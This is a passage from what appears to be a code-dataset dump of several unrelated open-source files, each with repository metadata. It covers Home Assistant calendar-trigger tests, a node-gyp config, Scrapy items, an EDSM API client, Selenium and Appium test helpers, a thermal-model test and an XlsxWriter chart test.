"calendar_event": event_data1,
},
{
"platform": "calendar",
"event": EVENT_END,
"calendar_event": event_data2,
},
]
async def test_multiple_events_sharing_start_time(hass, calls, fake_schedule):
"""Test that a trigger fires for every event sharing a start time."""
event_data1 = fake_schedule.create_event(
start=datetime.datetime.fromisoformat("2022-04-19 11:00:00+00:00"),
end=datetime.datetime.fromisoformat("2022-04-19 11:30:00+00:00"),
)
event_data2 = fake_schedule.create_event(
start=datetime.datetime.fromisoformat("2022-04-19 11:00:00+00:00"),
end=datetime.datetime.fromisoformat("2022-04-19 11:30:00+00:00"),
)
await create_automation(hass, EVENT_START)
await fake_schedule.fire_until(
datetime.datetime.fromisoformat("2022-04-19 11:35:00+00:00")
)
assert calls() == [
{
"platform": "calendar",
"event": EVENT_START,
"calendar_event": event_data1,
},
{
"platform": "calendar",
"event": EVENT_START,
"calendar_event": event_data2,
},
]
async def test_overlap_events(hass, calls, fake_schedule):
"""Test that a trigger fires for events that overlap."""
event_data1 = fake_schedule.create_event(
start=datetime.datetime.fromisoformat("2022-04-19 11:00:00+00:00"),
end=datetime.datetime.fromisoformat("2022-04-19 11:30:00+00:00"),
)
event_data2 = fake_schedule.create_event(
start=datetime.datetime.fromisoformat("2022-04-19 11:15:00+00:00"),
end=datetime.datetime.fromisoformat("2022-04-19 11:45:00+00:00"),
)
await create_automation(hass, EVENT_START)
await fake_schedule.fire_until(
datetime.datetime.fromisoformat("2022-04-19 11:20:00+00:00")
)
assert calls() == [
{
"platform": "calendar",
"event": EVENT_START,
"calendar_event": event_data1,
},
{
"platform": "calendar",
"event": EVENT_START,
"calendar_event": event_data2,
},
]
async def test_invalid_calendar_id(hass, caplog):
"""Test creating a trigger with an invalid calendar id."""
assert await async_setup_component(
hass,
automation.DOMAIN,
{
automation.DOMAIN: {
"action": TEST_AUTOMATION_ACTION,
"trigger": {
"platform": calendar.DOMAIN,
"entity_id": "invalid-calendar-id",
},
}
},
)
await hass.async_block_till_done()
assert "Entity ID invalid-calendar-id is an invalid entity ID" in caplog.text
async def test_legacy_entity_type(hass, caplog):
"""Test creating a trigger with an invalid calendar id."""
assert await async_setup_component(
hass,
automation.DOMAIN,
{
automation.DOMAIN: {
"action": TEST_AUTOMATION_ACTION,
"trigger": {
"platform": calendar.DOMAIN,
"entity_id": "calendar.calendar_3",
},
}
},
)
await hass.async_block_till_done()
assert "is not a calendar entity" in caplog.text
async def test_update_next_event(hass, calls, fake_schedule):
"""Test detection of a new event after initial trigger is setup."""
event_data1 = fake_schedule.create_event(
start=datetime.datetime.fromisoformat("2022-04-19 11:00:00+00:00"),
end=datetime.datetime.fromisoformat("2022-04-19 11:15:00+00:00"),
)
await create_automation(hass, EVENT_START)
# No calls before event start
await fake_schedule.fire_until(
datetime.datetime.fromisoformat("2022-04-19 10:45:00+00:00")
)
assert len(calls()) == 0
# Create a new event between now and when the event fires
event_data2 = fake_schedule.create_event(
start=datetime.datetime.fromisoformat("2022-04-19 10:55:00+00:00"),
end=datetime.datetime.fromisoformat("2022-04-19 11:05:00+00:00"),
)
# Advance past the end of the events
await fake_schedule.fire_until(
datetime.datetime.fromisoformat("2022-04-19 11:30:00+00:00")
)
assert calls() == [
{
"platform": "calendar",
"event": EVENT_START,
"calendar_event": event_data2,
},
{
"platform": "calendar",
"event": EVENT_START,
"calendar_event": event_data1,
},
]
async def test_update_missed(hass, calls, fake_schedule):
"""Test that new events are missed if they arrive outside the update interval."""
event_data1 = fake_schedule.create_event(
start=datetime.datetime.fromisoformat("2022-04-19 11:00:00+00:00"),
end=datetime.datetime.fromisoformat("2022-04-19 11:30:00+00:00"),
)
await create_automation(hass, EVENT_START)
# Events are refreshed at t+TEST_UPDATE_INTERVAL minutes. A new event is
# added, but the next update happens after the event is already over.
await fake_schedule.fire_until(
datetime.datetime.fromisoformat("2022-04-19 10:38:00+00:00")
)
assert len(calls()) == 0
fake_schedule.create_event(
start=datetime.datetime.fromisoformat("2022-04-19 10:40:00+00:00"),
end=datetime.datetime.fromisoformat("2022-04-19 10:55:00+00:00"),
)
# Only the first event is returned
await fake_schedule.fire_until(
datetime.datetime.fromisoformat("2022-04-19 11:05:00+00:00")
)
assert calls() == [
{
"platform": "calendar",
"event": EVENT_START,
"calendar_event": event_data1,
},
]
@pytest.mark.parametrize(
"create_data,fire_time,payload_data",
[
(
{
"start": datetime.datetime.fromisoformat("2022-04-19 11:00:00+00:00"),
"end": datetime.datetime.fromisoformat("2022-04-19 11:30:00+00:00"),
"summary": "Summary",
},
datetime.datetime.fromisoformat("2022-04-19 11:15:00+00:00"),
{
"summary": "Summary",
"start": "2022-04-19T11:00:00+00:00",
"end": "2022-04-19T11:30:00+00:00",
"all_day": False,
},
),
(
{
"start": datetime.datetime.fromisoformat("2022-04-19 11:00:00+00:00"),
"end": datetime.datetime.fromisoformat("2022-04-19 11:30:00+00:00"),
"summary": "Summary",
"description": "Description",
"location": "Location",
},
datetime.datetime.fromisoformat("2022-04-19 11:15:00+00:00"),
{
"summary": "Summary",
"start": "2022-04-19T11:00:00+00:00",
"end": "2022-04-19T11:30:00+00:00",
"all_day": False,
"description": "Description",
"location": "Location",
},
),
(
{
"summary": "Summary",
"start": datetime.date.fromisoformat("2022-04-20"),
"end": datetime.date.fromisoformat("2022-04-21"),
},
datetime.datetime.fromisoformat("2022-04-20 00:00:01-06:00"),
{
"summary": "Summary",
"start": "2022-04-20",
"end": "2022-04-21",
"all_day": True,
},
),
],
ids=["basic", "more-fields", "all-day"],
)
async def test_event_payload(
hass, calls, fake_schedule, set_time_zone, create_data, fire_time, payload_data
):
"""Test the fields in the calendar event payload are set."""
fake_schedule.create_event(**create_data)
await create_automation(hass, EVENT_START)
assert len(calls()) == 0
await fake_schedule.fire_until(fire_time)
assert calls() == [
{
"platform": "calendar",
"event": EVENT_START,
"calendar_event": payload_data,
}
]
async def test_trigger_timestamp_window_edge(hass, calls, fake_schedule, freezer):
"""Test that events in the edge of a scan are included."""
freezer.move_to("2022-04-19 11:00:00+00:00")
# Exactly at a TEST_UPDATE_INTERVAL boundary the start time,
# making this excluded from the first window.
event_data = fake_schedule.create_event(
start=datetime.datetime.fromisoformat("2022-04-19 11:14:00+00:00"),
end=datetime.datetime.fromisoformat("2022-04-19 11:30:00+00:00"),
)
await create_automation(hass, EVENT_START)
assert len(calls()) == 0
await fake_schedule.fire_until(
datetime.datetime.fromisoformat("2022-04-19 11:20:00+00:00")
)
assert calls() == [
{
"platform": "calendar",
"event": EVENT_START,
"calendar_event": event_data,
}
]
|
[
"noreply@github.com"
] |
noreply@github.com
|
d39520befb46e5c0ba5180a6c69f1a0df8f3b5c0
|
2aea5f0c91922b3686eaa9fb14d0c8675c080c98
|
/node_modules/mongoose/node_modules/mongodb/node_modules/bson/build/config.gypi
|
24638528d9d329e923b933e99e31de8b4471c3a0
|
[
"MIT",
"Apache-2.0"
] |
permissive
|
Earlvin/GEEC
|
91cdd5772c6851e7fe2f8f8564cd6505ea3edf72
|
b59d31ca3a18b486f85f68397c4de0ee92b5e852
|
refs/heads/master
| 2021-01-15T13:24:46.089488
| 2014-12-10T00:51:13
| 2014-12-10T00:51:13
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,247
|
gypi
|
# Do not edit. File was generated by node-gyp's "configure" step
{
"target_defaults": {
"cflags": [],
"default_configuration": "Release",
"defines": [],
"include_dirs": [],
"libraries": []
},
"variables": {
"clang": 1,
"host_arch": "x64",
"node_install_npm": "false",
"node_prefix": "/usr/local/Cellar/node/0.10.33",
"node_shared_cares": "false",
"node_shared_http_parser": "false",
"node_shared_libuv": "false",
"node_shared_openssl": "false",
"node_shared_v8": "false",
"node_shared_zlib": "false",
"node_tag": "",
"node_unsafe_optimizations": 0,
"node_use_dtrace": "true",
"node_use_etw": "false",
"node_use_openssl": "true",
"node_use_perfctr": "false",
"openssl_no_asm": 0,
"python": "/usr/local/opt/python/bin/python2.7",
"target_arch": "x64",
"v8_enable_gdbjit": 0,
"v8_no_strict_aliasing": 1,
"v8_use_snapshot": "true",
"want_separate_host_toolset": 0,
"nodedir": "/Users/EricManansala/.node-gyp/0.10.33",
"copy_dev_lib": "true",
"standalone_static_library": 1,
"save_dev": "",
"browser": "",
"viewer": "man",
"rollback": "true",
"usage": "",
"globalignorefile": "/usr/local/etc/npmignore",
"init_author_url": "",
"shell": "/bin/bash",
"parseable": "",
"shrinkwrap": "true",
"email": "",
"init_license": "ISC",
"cache_max": "Infinity",
"init_author_email": "",
"sign_git_tag": "",
"cert": "",
"git_tag_version": "true",
"local_address": "",
"long": "",
"registry": "https://registry.npmjs.org/",
"fetch_retries": "2",
"npat": "",
"key": "",
"message": "%s",
"versions": "",
"globalconfig": "/usr/local/etc/npmrc",
"always_auth": "",
"spin": "true",
"cache_lock_retries": "10",
"cafile": "",
"heading": "npm",
"fetch_retry_mintimeout": "10000",
"proprietary_attribs": "true",
"json": "",
"description": "true",
"engine_strict": "",
"https_proxy": "",
"init_module": "/Users/EricManansala/.npm-init.js",
"userconfig": "/Users/EricManansala/.npmrc",
"node_version": "0.10.33",
"user": "",
"save": "true",
"editor": "vi",
"tag": "latest",
"global": "",
"optional": "true",
"username": "",
"bin_links": "true",
"force": "",
"searchopts": "",
"depth": "Infinity",
"rebuild_bundle": "true",
"searchsort": "name",
"unicode": "true",
"fetch_retry_maxtimeout": "60000",
"ca": "",
"save_prefix": "^",
"strict_ssl": "true",
"dev": "",
"fetch_retry_factor": "10",
"group": "20",
"save_exact": "",
"cache_lock_stale": "60000",
"version": "",
"cache_min": "10",
"cache": "/Users/EricManansala/.npm",
"searchexclude": "",
"color": "true",
"save_optional": "",
"user_agent": "npm/1.4.28 node/v0.10.33 darwin x64",
"ignore_scripts": "",
"cache_lock_wait": "10000",
"production": "",
"save_bundle": "",
"umask": "18",
"git": "git",
"init_author_name": "",
"onload_script": "",
"tmp": "/var/folders/2s/vvy52tqn0mzbrcrnt8qngbgh0000gn/T",
"unsafe_perm": "true",
"link": "",
"prefix": "/usr/local"
}
}
|
[
"ejmanansala@gmail.com"
] |
ejmanansala@gmail.com
|
5e4a0ac99813e835e0faa58dd39e06c62ee81d61
|
5208a988cfe97dcc515cb26e4f39e2da2763e6b6
|
/HouseSpider/items.py
|
e0a721e96efa04573898f743f04675998808be40
|
[] |
no_license
|
xuyun0906/HouseSpider
|
f316582de448acd91faf0fa00be9d761f5569e06
|
e3fa9f57b1716fa841a44629d4b9372d4b5bae79
|
refs/heads/master
| 2020-04-10T08:22:04.239227
| 2018-12-09T15:06:58
| 2018-12-09T15:06:58
| 160,904,248
| 0
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,842
|
py
|
# -*- coding: utf-8 -*-
# Define here the models for your scraped items
#
# See documentation in:
# https://doc.scrapy.org/en/latest/topics/items.html
import scrapy
from scrapy import Item, Field
class XiaoquItem(scrapy.Item):
id = scrapy.Field() # 小区ID
url = scrapy.Field() # 小区链接
name = scrapy.Field() # 小区名字
huxingCount = scrapy.Field() # 户型数
chengjiaoCount = scrapy.Field() # 历史成交套数
zaizuCount = scrapy.Field() # 在租套数
zaishouCount = scrapy.Field() # 在售套数
avgPrice = scrapy.Field() # 均价
region = scrapy.Field() # 区域
district = scrapy.Field() # 二级区域
city = scrapy.Field() # 城市
class XiaoquDetailItem(scrapy.Item):
id = scrapy.Field() # 小区ID
url = scrapy.Field() # 小区链接
name = scrapy.Field() # 小区名字
buildYear = scrapy.Field() # 建筑年代
bulidType = scrapy.Field() # 建筑类型
wuyeFee = scrapy.Field() # 物业费用
wuyeCompany = scrapy.Field() # 物业公司
developers = scrapy.Field() # 开发商
loudongCount = scrapy.Field() # 楼栋总数
fangwuCount = scrapy.Field() # 房屋总数
class ZSHouseItem(scrapy.Item):
url = scrapy.Field() # 房屋链接
name = scrapy.Field() # 房屋名称
city = scrapy.Field() # 城市
xiaoquId = scrapy.Field() # 小区ID
xiaoquName = scrapy.Field() # 小区名字
mianJi = scrapy.Field() # 面积
floor = scrapy.Field() # 楼层
huXing = scrapy.Field() # 户型
totalPrice = scrapy.Field() # 总价
price = scrapy.Field() # 单价
direct = scrapy.Field() # 朝向
fitment = scrapy.Field() # 装修
lift = scrapy.Field() # 电梯
buildType = scrapy.Field() # 建造类型
district = scrapy.Field() # 二级区域
|
[
"yunxu_master@126.com"
] |
yunxu_master@126.com
|
e51ace0d5c0e2ac2999081b7aaabcb7594237299
|
81bdddb98eaa89c2a2256d2f40be6d5f92d3f9cd
|
/edr/edsmserver.py
|
0694116964ab4dda5bc18f9ccdf17bd5feb2cf55
|
[
"Apache-2.0"
] |
permissive
|
Majorjjamo5/edr
|
e91af77512dc415ccca8496757edecb5f9cae692
|
0b05c04954bded5952d4b28886f97f599cd30792
|
refs/heads/master
| 2020-03-29T00:06:46.277576
| 2018-09-17T00:58:07
| 2018-09-17T00:58:07
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,769
|
py
|
import json
import urllib
import edrconfig
import edrlog
import requests
import urllib
EDRLOG = edrlog.EDRLog()
class EDSMServer(object):
def __init__(self):
config = edrconfig.EDRConfig()
self.EDSM_API_KEY = config.edsm_api_key()
self.EDSM_SERVER = config.edsm_server()
def system(self, system_name):
params = {"systemName": system_name, "showCoordinates": 1, "showInformation":1, "showId": 1}
endpoint = "{}/api-v1/systems".format(self.EDSM_SERVER)
resp = requests.get(endpoint, params=params)
if resp.status_code != requests.codes.ok:
EDRLOG.log(u"Failed to retrieve system {} from EDSM: {}.".format(system_name, resp.status_code), "ERROR")
return None
return json.loads(resp.content)
def systems_within_radius(self, system_name, radius):
params = {"systemName": system_name, "showCoordinates": 1, "radius": radius, "showInformation": 1, "showId": 1, "showPermit": 1}
endpoint = "{}/api-v1/sphere-systems".format(self.EDSM_SERVER)
resp = requests.get(endpoint, params=params)
if resp.status_code != requests.codes.ok:
EDRLOG.log(u"Failed to retrieve system {} from EDSM: {}.".format(system_name, resp.status_code), "ERROR")
return None
results = json.loads(resp.content)
if not results:
EDRLOG.log(u"Empty systems within radius.", "INFO")
return []
sorted_results = sorted(results, key=lambda t: t["distance"])
return sorted_results
def stations_in_system(self, system_name):
params = {"systemName": system_name}
endpoint = "{}/api-system-v1/stations".format(self.EDSM_SERVER)
resp = requests.get(endpoint, params=params)
if resp.status_code != requests.codes.ok:
EDRLOG.log(u"Failed to retrieve system {} from EDSM: {}.".format(system_name, resp.status_code), "ERROR")
return None
results = json.loads(resp.content)
if not results or not results.get('stations', None):
EDRLOG.log(u"No stations in system {}.".format(system_name), "INFO")
return []
sorted_results = sorted(results['stations'], key=lambda t: t["distanceToArrival"])
return sorted_results
def factions_in_system(self, system_name):
params = {"systemName": system_name}
endpoint = "{}/api-system-v1/factions".format(self.EDSM_SERVER)
resp = requests.get(endpoint, params=params)
if resp.status_code != requests.codes.ok:
EDRLOG.log(u"Failed to retrieve state for system {} from EDSM: {}.".format(system_name, resp.status_code), "ERROR")
return None
return json.loads(resp.content)
|
[
"33626494+lekeno@users.noreply.github.com"
] |
33626494+lekeno@users.noreply.github.com
|
54109eabfcfbc9695ac0860bc473d43ead1adcb8
|
0266f371319c28227a948fb105440ef74a3c583d
|
/tests/test_util_methods.py
|
8f2614102db8a1e8235c6930336ef83eab1e57bc
|
[
"MIT",
"Python-2.0"
] |
permissive
|
qbicsoftware/mtb-converter-cli
|
2ff264576c07a0c383b59f817d076ebe3d76d884
|
8a2a33f511fcc1b9791aad4a5ff6a44a16f1d72a
|
refs/heads/master
| 2021-09-15T09:08:08.005762
| 2018-05-14T19:28:58
| 2018-05-14T19:28:58
| 115,716,098
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 974
|
py
|
"""
Tests for util methods
"""
import os
import unittest
from nose.tools import raises
from mtbconverter import utils
INVALID_BARCODE = "QLAUCH123AE"
VALID_BARCODE = "QAHJH006A4"
INVALID_PATH = "my/file/QLAUCH123AE_file.fastq.gz"
VALID_PATH = "my/file/QAHJH006A4_file.fastq.gz"
PATH_WITH_MULT_BARCODES = "my/file/QAHJH006A4_QDERS021AS_file.fastq.gz"
class ArchiveTests(unittest.TestCase):
"""Test suite for util methods check"""
def test_barcode_integrity(self):
self.assertTrue(utils.is_valid_barcode(VALID_BARCODE))
self.assertFalse(utils.is_valid_barcode(INVALID_BARCODE))
@raises(ValueError)
def test_invalid_path_for_barcode(self):
utils.getbarcode(INVALID_PATH)
@raises(ValueError)
def test_path_with_multiple_barcodes(self):
utils.getbarcode(PATH_WITH_MULT_BARCODES)
def test_valid_path_for_barcode(self):
barcode = utils.getbarcode(VALID_PATH)
self.assertEqual(barcode, VALID_BARCODE)
|
[
"sven.fillinger@qbic.uni-tuebingen.de"
] |
sven.fillinger@qbic.uni-tuebingen.de
|
e017a965c13c03a73293617f8454c31ae8b81cac
|
8ffe631d5493bb03c50e9acaf82edd864bde5abc
|
/bin/trial
|
9f2c35a964d485cd1ccce351972aaecdb992960b
|
[] |
no_license
|
aditya172926/scrapy-scrap
|
58f7f7de77aa2ebddd31d21b213a1ab58a7b6bd4
|
f4b29b329412e326c7b698a086eb75df860ca5cc
|
refs/heads/master
| 2022-11-09T20:20:57.543829
| 2020-06-28T05:57:02
| 2020-06-28T05:57:02
| 275,516,556
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 252
|
#!/Users/harshshetye/Desktop/scrapy_scrap/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from twisted.scripts.trial import run
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(run())
|
[
"aditya26sg@gmail.com"
] |
aditya26sg@gmail.com
|
|
658779025acf197840a145bf6b531d133d94f75b
|
f0d864a4a26ab5a95462df0f1016039f1ba69895
|
/tests/test_equal_air_temperature.py
|
3d9827fc4209359847c1cad74f7fc40ba93fcd1c
|
[
"MIT"
] |
permissive
|
ThomasSchuetz/ThermalBuildingModel
|
7cd6f4007fc0e67ab7007392b8c71bc5aaa32546
|
f1a9417451374ac5632980df62f859a51e91851a
|
refs/heads/master
| 2022-12-19T13:24:02.118303
| 2020-09-25T07:43:01
| 2020-09-25T07:43:01
| 297,264,852
| 0
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,881
|
py
|
# -*- coding: utf-8 -*-
import numpy as np
import pytest
from thermal_building_model.eqAirTemp import equal_air_temp
class TestEqualAirTemperature:
def test_equal_air_temperature_case_08(self):
t_outside_raw = np.loadtxt("inputs/case08_t_amb.csv", delimiter=",")
t_outside = np.array([t_outside_raw[2*i,1] for i in range(24)])
q_sol_rad_win_raw = np.loadtxt("inputs/case08_q_sol_win.csv", usecols=(1,2))
solar_radiation_windows = q_sol_rad_win_raw[0:24,:]
sunblind_in = np.zeros_like(solar_radiation_windows)
sunblind_in[solar_radiation_windows > 100] = 0.85
q_sol_rad_wall_raw = np.loadtxt("inputs/case08_q_sol_wall.csv", usecols=(1,2))
solar_radiation_walls = q_sol_rad_wall_raw[0:24,:]
t_black_sky = np.zeros_like(t_outside) + 273.15
params = {"aExt": 0.7,
"eExt": 0.9,
"wfWall": [0.05796831135677373, 0.13249899738691134],
"wfWin": [0.4047663456281575, 0.4047663456281575],
"wfGro": 0,
"T_Gro": 273.15+12,
"alpha_wall_out": 20,
"alpha_rad_wall": 5,
"withLongwave": False}
t_equal_air = equal_air_temp(solar_radiation_walls, t_black_sky, t_outside, sunblind_in, params)
expected_t_equal_air = [
291.95, 290.25, 289.65, 289.25, 289.77, 291.24, 293.88, 296.64,
298.94, 301.10, 302.68, 303.68, 305.13, 306.38, 307.16, 307.20,
306.57, 305.10, 302.75, 300.15, 297.85, 296.05, 295.05, 294.05
]
for result, expected_result in zip(t_equal_air, expected_t_equal_air):
assert result == pytest.approx(expected_result, 0.01), (
f"Expected {expected_result} but actual result is {result}")
|
[
"thomas.schuetz@eon.com"
] |
thomas.schuetz@eon.com
|
42de06cba2aa491aca4aeef891e131415fe780b7
|
0981c4973af3eda0e31c1af47e03d0133d1db43a
|
/base/sitemaps.py
|
ec929cc7331b712ef532cf6603346f17e0916179
|
[] |
no_license
|
kizashi7512/mysite_test
|
327b17f6143dca3ff322c35d26c041e28c0141ca
|
27a69e5a3039ad0aa91103bc7b2d5d9f52f8673c
|
refs/heads/master
| 2023-03-29T12:36:46.641648
| 2021-03-26T02:43:57
| 2021-03-26T02:43:57
| 351,262,050
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 467
|
py
|
from django.contrib.sitemaps import Sitemap
from django.shortcuts import resolve_url
class BaseSitemap(Sitemap):
def items(self):
items = [
'base:top',
'base:policy',
'base:terms',
]
return items
def location(self,obj):
return resolve_url(obj)
def changefreq(self, obj):
if obj == 'base:top':
return 'always'
return 'never'
def priority(self, obj):
if obj == 'base:top':
return 0.8
return 0.1
|
[
"kizashi3230@gmail.com"
] |
kizashi3230@gmail.com
|
e6598a812d349f8f87994cd30681974bef4771b0
|
6b3dc07cc118dc68b942d593041e198c8e4b82f5
|
/conftest.py
|
c95a8cd2e7c5c28ff5f77808433b913fd1577fb7
|
[] |
no_license
|
BarysTsibets/Stepik_Selenium_Python_tasks
|
e1603010aae93a5dc7c698a22126d8660f14218e
|
b0b96cc37c2276ee68623e0bfbe866261ae9bcd5
|
refs/heads/master
| 2022-12-23T12:31:49.171178
| 2020-10-01T00:10:46
| 2020-10-01T00:10:46
| 295,846,742
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 991
|
py
|
import pytest
from selenium import webdriver
PATH1 = r'C:\Users\BorisPC\PycharmProjects\untitled\HelloWorld\Automation\driver\chromedriver.exe'
PATH2 = r'C:\Users\BorisPC\PycharmProjects\untitled\HelloWorld\Automation\driver\geckodriver.exe'
def pytest_addoption(parser):
parser.addoption('--browser_name', action='store', default='chrome',
help="Choose browser: chrome or firefox")
@pytest.fixture(scope="function")
def browser(request):
browser_name = request.config.getoption("browser_name")
browser = None
if browser_name == "chrome":
print("\nstart chrome browser for test..")
browser = webdriver.Chrome(executable_path=PATH1)
elif browser_name == "firefox":
print("\nstart firefox browser for test..")
browser = webdriver.Firefox(executable_path=PATH2)
else:
raise pytest.UsageError("--browser_name should be chrome or firefox")
yield browser
print("\nquit browser..")
browser.quit()
|
[
"molekyla_08@mail.ru"
] |
molekyla_08@mail.ru
|
532430bc032a5da32c5501e5d1e2fe6e3cfaf911
|
d8e7ed4d1e89aec85f1cd0006f8caca5ddc183c4
|
/page_object/index/search_page.py
|
1d3d0a4f5a283b1f46871918217c656078dfa3d3
|
[] |
no_license
|
reach950/hangzhoubanshi-uitest-iOS
|
3bf7585e0b42a734ec8eb1db29b5a0ea82527809
|
ce25cff3da3fb6f7e3c4a96f6e92f8b62b139c3c
|
refs/heads/master
| 2021-06-19T15:27:42.801633
| 2019-11-14T08:17:05
| 2019-11-14T08:17:05
| 187,554,944
| 0
| 0
| null | 2021-06-01T23:45:36
| 2019-05-20T02:30:54
|
Python
|
UTF-8
|
Python
| false
| false
| 2,716
|
py
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""搜索页"""
__author__ = 'kejie'
import time
from appium.webdriver.common.mobileby import MobileBy
from page_object.base_page import BasePage
class SearchPage(BasePage):
# 搜索输入框
search_field_loc = (MobileBy.CLASS_NAME, 'XCUIElementTypeSearchField')
# 搜索按钮
search_button_loc = (MobileBy.ACCESSIBILITY_ID, 'Search')
# 客服按钮
customer_service_button_loc = (MobileBy.ACCESSIBILITY_ID, 'kefu')
# 取消搜索
cancel_search_loc = (MobileBy.ACCESSIBILITY_ID, '取消')
# 热门搜索
hot_search_loc = (MobileBy.IOS_PREDICATE, 'type == "XCUIElementTypeButton" AND (rect.y == 132 OR rect.y == 175)')
# 最后一条搜索结果
last_search_result_loc = (MobileBy.IOS_CLASS_CHAIN, '**/XCUIElementTypeTable/XCUIElementTypeCell[-1]')
# 无结果图片
no_result_image_loc = (MobileBy.ACCESSIBILITY_ID, 'nothing')
# 无结果文字
no_result_text_loc = (MobileBy.IOS_PREDICATE, 'type == "XCUIElementTypeStaticText" AND name BEGINSWITH "抱歉"')
# 无结果热门事项
no_result_hot_items_loc = (MobileBy.IOS_PREDICATE, 'type == "XCUIElementTypeStaticText" AND rect.width == 345')
# 输入关键字搜索
def search(self, text):
self.send_keys(self.search_field_loc, text)
self.tap_element(self.search_button_loc)
# 点击客服按钮
def click_customer_service_button(self):
self.tap_element(self.customer_service_button_loc)
# 取消搜索
def cancel_search(self):
self.tap_element(self.cancel_search_loc)
# 获取热门搜索的所有关键词
def get_all_hot_search_words(self):
search_words = []
eles = self.find_elements(self.hot_search_loc)
for ele in eles:
search_words.append(ele.get_attribute('name'))
return search_words
# 滑动到最后一条搜索结果
def scroll_to_last_search_result(self):
count = 0
while not self.find_element(self.last_search_result_loc).is_displayed():
if count >= 5:
break
self.swipe('up')
time.sleep(0.5)
count += 1
# 是否显示无结果页
def is_no_result_page_display(self):
if self.find_element(self.no_result_image_loc) and self.find_element(self.no_result_text_loc):
return True
else:
return False
# 获取无结果页的热门事项
def get_no_result_hot_items(self):
hot_items = []
eles = self.find_elements(self.no_result_hot_items_loc)
for ele in eles:
hot_items.append(ele.get_attribute('name'))
return hot_items
|
[
"reach950@gmail.com"
] |
reach950@gmail.com
|
0f776e18f96167e136351a53c789777a2a35a629
|
cbc5e26bb47ae69e80a3649c90275becf25ce404
|
/xlsxwriter/test/comparison/test_chart_layout04.py
|
f377a5806721d2af1d65752bac33bb918a5d84f3
|
[
"BSD-2-Clause-Views",
"BSD-3-Clause",
"MIT"
] |
permissive
|
mst-solar-car/kicad-bom-generator
|
c3549409c3139f787ad28391372b5cb03791694a
|
2aae905056d06f3d25343a8d784049c141d05640
|
refs/heads/master
| 2021-09-07T14:00:40.759486
| 2018-02-23T23:21:13
| 2018-02-23T23:21:13
| 107,868,801
| 3
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,764
|
py
|
###############################################################################
#
# Tests for XlsxWriter.
#
# Copyright (c), 2013-2017, John McNamara, jmcnamara@cpan.org
#
from ..excel_comparsion_test import ExcelComparisonTest
from ...workbook import Workbook
class TestCompareXLSXFiles(ExcelComparisonTest):
"""
Test file created by XlsxWriter against a file created by Excel.
"""
def setUp(self):
self.maxDiff = None
filename = 'chart_layout04.xlsx'
test_dir = 'xlsxwriter/test/comparison/'
self.got_filename = test_dir + '_test_' + filename
self.exp_filename = test_dir + 'xlsx_files/' + filename
self.ignore_files = []
self.ignore_elements = {}
def test_create_file(self):
"""Test the creation of an XlsxWriter file with user defined layout."""
workbook = Workbook(self.got_filename)
worksheet = workbook.add_worksheet()
chart = workbook.add_chart({'type': 'column'})
chart.axis_ids = [68311296, 69198208]
data = [
[1, 2, 3, 4, 5],
[2, 4, 6, 8, 10],
[3, 6, 9, 12, 15],
]
worksheet.write_column('A1', data[0])
worksheet.write_column('B1', data[1])
worksheet.write_column('C1', data[2])
chart.add_series({'values': '=Sheet1!$A$1:$A$5'})
chart.add_series({'values': '=Sheet1!$B$1:$B$5'})
chart.add_series({'values': '=Sheet1!$C$1:$C$5'})
chart.set_title({
'name': 'Title',
'layout': {
'x': 0.42631933508311465,
'y': 0.14351851851851852,
}
})
worksheet.insert_chart('E9', chart)
workbook.close()
self.assertExcelEqual()
|
[
"mwrb7d@mst.edu"
] |
mwrb7d@mst.edu
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.